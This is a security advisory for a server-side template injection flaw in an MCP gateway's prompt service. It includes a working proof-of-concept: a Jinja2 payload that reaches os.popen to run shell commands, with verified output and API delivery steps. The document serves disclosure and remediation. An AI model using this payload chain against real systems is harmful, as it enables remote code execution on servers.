GHSA-VWF3-4XXJ-QG6H

mcpgateway.services.prompt_service.PromptService renders user-supplied prompt templates using Jinja2's plain Environment() rather than SandboxedEnvironment. An authenticated user with permission to register or update prompt templates can store a malicious template that, on subsequent rendering, executes arbitrary Python code on the gateway host with the privileges of the gateway process. This is a Server-Side Template Injection (SSTI) vulnerability leading to Remote Code Execution.

Details

Affected component: mcpgateway/services/prompt_service.py
Affected version: 0.9.0 (verified). The fix in the unreleased main branch indicates all earlier published versions are likewise affected.

Vulnerable code

mcpgateway/services/prompt_service.py, line 26:

from jinja2 import Environment, meta, select_autoescape

mcpgateway/services/prompt_service.py, line 135 (inside PromptService.__init__):

self._jinja_env = Environment(
    autoescape=select_autoescape(["html", "xml"]),
    trim_blocks=True,
    lstrip_blocks=True,
)

mcpgateway/services/prompt_service.py, lines 1592–1616 (_render_template):

def _render_template(self, template: str, arguments: Dict[str, str]) -> str:
    ...
    try:
        jinja_template = self._jinja_env.from_string(template)
        return jinja_template.render(**arguments)
    except Exception:
        try:
            return template.format(**arguments)
        except Exception as e:
            raise PromptError(f"Failed to render template: {str(e)}")

_render_template is invoked from PromptService.get_prompt (line 892):

rendered = self._render_template(prompt.template, arguments)

Where prompt.template is loaded from the database. The template field of the database row is populated via the register_prompt, update_prompt, and register_prompts_bulk API endpoints, which accept attacker-controlled template content from authenticated API callers.

Because self._jinja_env is a plain jinja2.Environment rather than jinja2.sandbox.SandboxedEnvironment, Jinja2 imposes no restrictions on attribute traversal, function calls, or built-in access during rendering. A template that traverses to __builtins__.__import__ and calls os.popen (or any equivalent chain) executes arbitrary code at render time.

PoC

The reproducer requires only the published package and a Python interpreter; no network, database, or container setup is needed because the vulnerability sits in the in-process render method.

Setup

pip install mcp-contextforge-gateway==0.9.0

Reproducer (poc.py)

import os
import warnings

with warnings.catch_warnings():
    warnings.simplefilter("ignore")
    from mcpgateway.services.prompt_service import PromptService

import mcpgateway
print(f"[+] mcpgateway version: {mcpgateway.__version__}")

PROOF = os.path.abspath("MCPGATEWAY_RCE_PROOF.txt")
if os.path.exists(PROOF):
    os.remove(PROOF)

service = PromptService()
print(f"[+] PromptService._jinja_env type: {type(service._jinja_env).__name__}")

payload = (
    "{{ self.__init__.__globals__.__builtins__"
    ".__import__('os').popen('echo MCPGATEWAY_RCE > "
    + PROOF.replace('\\', '/') + "').read() }}"
)

print(f"[+] PROOF exists before render: {os.path.exists(PROOF)}")
service._render_template(payload, {})
print(f"[+] PROOF exists after render:  {os.path.exists(PROOF)}")

if os.path.exists(PROOF):
    with open(PROOF) as f:
        print(f"[+] PROOF contents: {f.read().strip()!r}")

Verified output

[+] mcpgateway version: 0.9.0
[+] PromptService._jinja_env type: Environment
[+] PROOF exists before render: False
[+] PROOF exists after render:  True
[+] PROOF contents: 'MCPGATEWAY_RCE'

The file MCPGATEWAY_RCE_PROOF.txt is written to disk by the embedded os.popen call, demonstrating arbitrary command execution in the gateway process. Replacing echo MCPGATEWAY_RCE > ... with any other command (e.g., reading filesystem contents, opening a reverse shell, exfiltrating environment secrets) produces the corresponding effect.

End-to-end via the API

A full attack against a deployed gateway uses the same payload supplied as the template field to POST /prompts (or PUT /prompts/{id}). Once stored, the template fires every time the prompt is rendered via the gateway's MCP prompts/get flow.

Maintainer review (accepted)

Reproduced and accepted. Findings from the maintainer's review:

Confirmed valid (SSTI → RCE). In mcpgateway/services/prompt_service.py as published in v0.9.0 (and all earlier releases), _render_template() runs Environment().from_string(template).render(**args) on a plain, unsandboxed jinja2.Environment (v0.9.0 line 27: from jinja2 import Environment). With no render-time sandbox, the __builtins__.__import__('os').popen(...) chain executes arbitrary code in the gateway process. Verified against the v0.9.0 source.

Reachable with attacker-controlled input. The template field is persisted by the authenticated write paths, POST /prompts (prompts.create), prompt update (prompts.update), and bulk register, then rendered in get_prompt() → _render_template(). Any authenticated principal holding prompts.create/prompts.update reaches RCE. CWE-1336 / CWE-94 and High severity confirmed.

Scope (set on this advisory): affected < 1.0.0 (0.1.0–0.9.0); patched 1.0.0.

Already fixed. Migrated to SandboxedEnvironment in #4072 (commit 4d3100466, 2026-04-24), shipped in v1.0.0. Current main (1.0.3) additionally prevents the str.format() fallback from re-opening the attribute path when the sandbox rejects an expression (a jinja2.exceptions.SecurityError no longer falls through to .format()).

Correction to the report. "Patched version not installable via pip" is now stale, 1.0.0 through 1.0.3 are published on PyPI. Remediation for users is upgrade to >= 1.0.0.

Audit. Other jinja2.Environment usages in the codebase (main.py, version.py, tools/builder, email templates, content_security.py) render trusted on-disk templates via FileSystemLoader or are parse-only, none render user-supplied template strings. No second instance of this pattern.